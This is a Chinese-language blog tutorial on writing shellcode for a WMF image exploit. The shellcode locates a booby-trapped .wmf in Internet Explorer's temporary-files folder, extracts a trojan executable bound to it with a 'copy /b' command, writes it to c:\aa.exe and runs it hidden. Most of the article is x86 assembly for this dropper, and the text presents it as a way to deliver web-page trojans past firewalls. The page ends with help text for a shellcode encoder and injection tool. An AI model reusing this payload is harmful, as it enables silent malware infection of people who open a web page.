能够生成木马的ShellCode

最近一个朋友在WMF漏洞利用的ShellCode编写上遇到了麻烦:他需要编写的ShellCode功能是这样的:将绑定在.wmf文件中的.exe文件提取、生成并自动执行。经过一整天的努力这个问题基本部分解决了,但仍然存在一点疑惑,正好写下本文和大家讨论。
基础知识
讨论ShellCode之前,需要掌握两个基础知识:
1
.exe文件已经绑定到了.wmf文件中。怎么绑定呢?通过copy命令:"copy /b old.wmf+aa.exe new.wmf"即可完成,大家可以马上试试。
2
、 绑定木马之后的.wmf其实是与html文件一起作为网页木马来应用的。因此,用户通过IE打开畸形的new.wmf文件之前,会先将该文件连同html 文件一起下载到系统的IE临时文件夹TIFTemporary Internet Files)中。TIF是个隐藏文件夹,位于"Documents and Settings/Administrator/Local "显示所有文件和文件夹",然后进入该目à"隐藏文件和文件夹"à <script type="text/javascript"> </script> "查看"à"文件夹选项"àSettings" 下。为了便于理解,大家可先设置"工具" 录查看。TIF目录下可以看到很多文件,但实际上它们都只是真正文件的连接而已。真正的IE临时文件位于"TIF/Content.IE5"下,本例中的 new.wmf,位于本机的"Temporary Internet Files/Content.IE5/83SB61Q9"目录中。注意,Content.IE5及其中的文件或文件夹只有从资源管理器中才能看到,每个文 件名都多了一个"[1]",如new[1].wmf
OK
,有了基础知识,接下来我们看看ShellCode的设计思路。
ShellCode
设计思路
做任何事情之前整理好思路都很重要,本文要求的ShellCode设计思路大致如下:
1
、 查找ShellCode可用到的各API函数地址。
2
、 找到临时文件new[1].wmf的绝对路径,通过CreateFileA函数打开该文件,并创建文件aa.exe
3
、 通过SetFilePointer函数让new[1].wmf <script type="text/javascript"> </script> 文件指针指向aa.exe文件数据开始的地方,即指向"MZ"
4
、 循环从new[1].wmf中读取数据写入aa.exe
5
、 执行生成的aa.exe
过程并不复杂,关键是细心,接下来大家看看汇编实现,在Windows 2000 SP4+VC6下编译通过。
汇编实现及待改进的问题
1
API函数地址。最好在画流程图的时候就确定有哪些API函数会用到,并进行合理的内存规划.
其中,GetProcAddress这个函数地址最重要,查找代码已经多次介绍了,大家可以参考。其余函数查找的部分代码如下:
mov [ebp+2Ch], eax //GetProcAddress

//
查找GetTempPathA地址
mov dword ptr [ebp], 'TteG'
mov dword ptr [ebp + 4], 'Ppme'
mov dword ptr [ebp + 8], 'Ahta'
mov byte ptr [ebp + 0xc], 0
push ebp //
函数名地址作为参数压入栈(下同)
push ebx //Kernel32.dll
地址(下同)
call [ebp+2Ch] //
函数返回后eax就是GetTempPathA的地址
mov dword ptr[ebp+28h], eax //
保存函数地址(下同)

//CreateFileA
地址
mov dword ptr [ebp], 'aerC'
mov dword ptr [ebp + 4], 'iFet'
mov dword <script type="text/javascript"> </script> ptr [ebp + 8], 'Ael'
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是CreateFileA的地址
mov dword ptr[ebp+24h], eax

//SetFilePointer
地址
mov dword ptr [ebp], 'FteS'
mov dword ptr [ebp + 4], 'Peli'
mov dword ptr [ebp + 8], 'tnio'
mov dword ptr [ebp + 0xC], 're'
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是SetFilePointer的地址
mov dword ptr[ebp+20h], eax

//
查找ReadFileWriteFile函数地址
mov dword ptr [ebp], 'daeR'
mov dword ptr [ebp + 4], 'eliF'
mov byte ptr [ebp + 8], 0
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是ReadFile的地址
mov dword ptr[ebp+1Ch], eax

//ReadFile
WriteFile地址
mov dword ptr [ebp], ' <script type="text/javascript"> </script> daeR'
mov dword ptr [ebp + 4], 'eliF'
mov byte ptr [ebp + 8], 0
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是ReadFile的地址
mov dword ptr[ebp+1Ch], eax
mov dword ptr [ebp], 'tirW'
mov dword ptr [ebp + 4], 'liFe'
mov word ptr [ebp + 8], 'e'
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是WriteFile的地址
mov dword ptr[ebp+18h], eax

//WinExec
地址
mov dword ptr [ebp], 'EniW'
mov dword ptr [ebp + 4], 'cex'
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是WinExec的地址
mov dword ptr[ebp+14h], eax

//CloseHandle
地址
mov dword ptr [ebp], 'solC'
mov dword ptr [ebp + 4], 'naHe'
mov dword ptr [ebp + 8], 'eld'
push ebp
push <script type="text/javascript"> </script> ebx
call [ebp+2Ch] //
函数返回后eax就是CloseHandle的地址
mov dword ptr[ebp+38h], eax

//ExitThread
地址
mov dword ptr [ebp], 'tixE'
mov dword ptr [ebp + 4], 'erhT'
mov dword ptr [ebp + 8], 'da'
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是ExitThread的地址
mov dword ptr[ebp+3Ch], eax

2
、找到临时文件new[1].wmf的绝对路径,通过CreateFileA函数打开该文件,通过GetTempPathA函数可找到系统临时文件夹、按照前面的基础知识,我们可以进一步找new[1].wmf的绝对路径。部分代码如下:
//
留出空间以备将来存放长的数据
sub esp, 0x800
mov esi, esp
add esi, 4
sub esp,0x100
mov ebx,esp
add ebx,4

//
调用GetTempPathA,获取系统临时文件夹
push ebx
push 64h
call dword ptr[ebp + 28h]
xor ecx,ecx
xor ecx,ecx
comp:
inc ecx
cmp byte ptr[ebx+ecx], 0x00
jnz comp

dec ecx
//
将路径中的"temp" <script type="text/javascript"> </script> 替换为"temporary Internet Files/Content.IE5/83SB61Q9/new[1].wmf"
mov dword ptr[ebx+ecx],'raro'
mov dword ptr[ebx+ecx+4],'nI y'
mov dword ptr[ebx+ecx+8],'nret'
mov dword ptr[ebx+ecx+12],'F te'
mov dword ptr[ebx+ecx+16],'seli'
mov byte ptr[ebx+ecx+20], 0x5c // '/'
mov dword ptr[ebx+ecx+21], 'tnoC'
mov dword ptr[ebx+ecx+25], '.tne'
mov dword ptr[ebx+ecx+29], '55EI'
mov byte ptr[ebx+ecx+32], 0x5c //'/'
mov dword ptr[ebx+ecx+33], 'BS38'
mov dword ptr[ebx+ecx+37], '9Q16'
mov byte ptr[ebx+ecx+41], 0x5c
mov dword ptr[ebx+ecx+42], '[wen' //new[1].wmf
mov dword ptr[ebx+ecx+46], 'w.]1'
mov dword ptr[ebx+ecx+50], 'fm'

//
以读的方式打开new[1].wmf
push 0
push 0x80 //FILE_ATTRIBUTE_NORMAL
push 3 //OPEN_EXISTING
push 0
push 3 //FILE_SHARE_READ | FILE_SHARE_WRITE
push 0x80000000 //GENERIC_READ
push ebx
call dword ptr[ebp + 24h] //CreateFileA
cmp eax, 0
jle gameover //-1
则结束
<script type="text/javascript"> </script> mov dword ptr[ebp + 30h], eax //
保存wmf文件句柄

//
创建可执行文件c:/aa.exe
mov dword ptr[ebp], 0x615c3a63
mov dword ptr[ebp + 4], 'xe.a'
mov dword ptr[ebp + 8], 'e'
push 0
push 0 //FILE_ATTRIBUTE_NORMAL
push 2 //Create_ALWAYS
push 0
push 0
push 0x40000000 //GENERIC_WRITE
push ebp
call dword ptr[ebp + 24h] //CreateFileA
cmp eax, 0
jle gameover
mov dword ptr[ebp + 34h], eax //
保存exe文件句柄

3
、通过SetFilePointer函数让new[1].wmf文件指针指向aa.exe文件数据开始的地方。部分代码如下:
//SetFilePointer
设置文件偏移(exe文件位置)
push 0
push 0
push 0x527D //exe
文件数据开始处:21119
mov eax, dword ptr[ebp + 30h] //wmf
文件句柄
push eax
call dword ptr[ebp + 20h] //SetFilePointer

4
、循环从new[1].wmf中读取数据写入aa.exe。部分代码如下:
mov dword ptr[ebp + 40h], 0 //
保存每次实际读取的数据
mov dword ptr[ebp + 44h], 0 //
保存每次实际写入的数据 <script type="text/javascript"> </script>
Read_Write_exe:
push 0
lea eax, dword ptr[ebp + 40h]
push eax
push 0x400 //
每次预定读取1024字节
push esi //
存放每次读取后数据的缓冲区地址
push dword ptr[ebp + 30h] //wmf
文件句柄
call dword ptr[ebp+1Ch] //ReadFile

push 0
lea eax, dword ptr[ebp + 44h] //
每次实际写入的数据字节数地址
push eax
push dword ptr[ebp + 40h]
push esi
push dword ptr[ebp + 34h] //exe
文件句柄
call dword ptr[ebp+18h] //WriteFile

//cmp byte ptr[ebx],1
//jz Read_Write_exe
cmp dword ptr[ebp + 44h], 0x400 //
判断是否读写完毕
jge Read_Write_exe

//
关闭wmfexe文件句柄
push dword ptr[ebp+30h]
call dword ptr[ebp + 38h] //CloseHandle
push dword ptr[ebp+34h]
call dword ptr[ebp + 38h] //CloseHandle

5
、执行生成的aa.exe,并退出线程。部分代码如下:
push 0 //SW_HIDE
push ebp
call dword ptr[ebp + 14h] //Winexec
gameover:
//ExitThread
push 0
call dword ptr[ebp + 3Ch] //ExitThread <script type="text/javascript"> </script>

汇编代码就是这样,大家按照前面多期文章介绍的方法可以完成ShellCode的提取,这里就不罗嗦了。
最后还有一个问题,"Content.IE5/83SB61Q9"目录中的"83SB61Q9"是随机的,不同的机器有所区别。因此通用性问题是需要解决的,本文的侧重点是介绍实现的思路。
小结
本 文介绍了提取绑定在文件中(如.wmf)木马文件的ShellCode编写方法。提取绑定木马的ShellCode主要目的是以较短的ShellCode 完成较复杂的功能,实际的复杂功能都是由木马文件来完成。它和传统Down&execShellCode相比,也很容易实现访问网络时突破防火 墙。 
 
Shellcode Helper v1.62 Coded by TeLeMan (c) 2008-2013 Usage: schelper.exe [options] Options: -i [input file] input file (Default: stdin) -o [output file] output file (Default: stdout) -s input file format (Default: Auto-Detection) -sb input file format is Binary -sp the input file format's parameters -d output file format (Default: C format) -db output file format is Binary -dp the output file format's parameters -search get the start offset by the pattern: e.g. PK\x03\x04 -soff fix the match offset after searching (Default: 0) -off convert the input file from the offset (Default: 0) -len convert the input file with the length (Default: 0 - MAX) -en [encoder] encode shellcode (Default: XorDword) -de [encoder] decode shellcode (Default: Auto-Detection) -ex exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00) -in incude characters only -ep the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for debugging -stack put shellcode into stack and execute it (ESP is the shellcode start) -noinfo display no normal messages except error messages Available formats: 0 - C 1 - C(HexArray) 2 - Perl 3 - Python 4 - Ruby 5 - JavaScript(Escape) 6 - VBScript(Escape) 7 - Pascal 8 - MASM(Data) 9 - HexDump 10 - BitString 11 - HexString 12 - HexArray(C like) 13 - Base64 14 - Binary 15 - HexString(C like) 16 - HexString(Escape) 17 - HexString(JavaScript,UNICODE) 18 - URI(ISO-8859-1) 19 - XML(PCDATA) 20 - BigNumber 21 - BigNumber(Hex) 22 - BigNumber(BaseX) 23 - FloatPoint 24 - UnixTimestamp 25 - GUID 26 - MASM(ASM) 27 - NASM 28 - YASM(ASM) 29 - FASM(ASM) 30 - JWASM(ASM) 31 - POASM(ASM) 32 - GOASM(ASM) 33 - GNU ASM Available encoders:
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值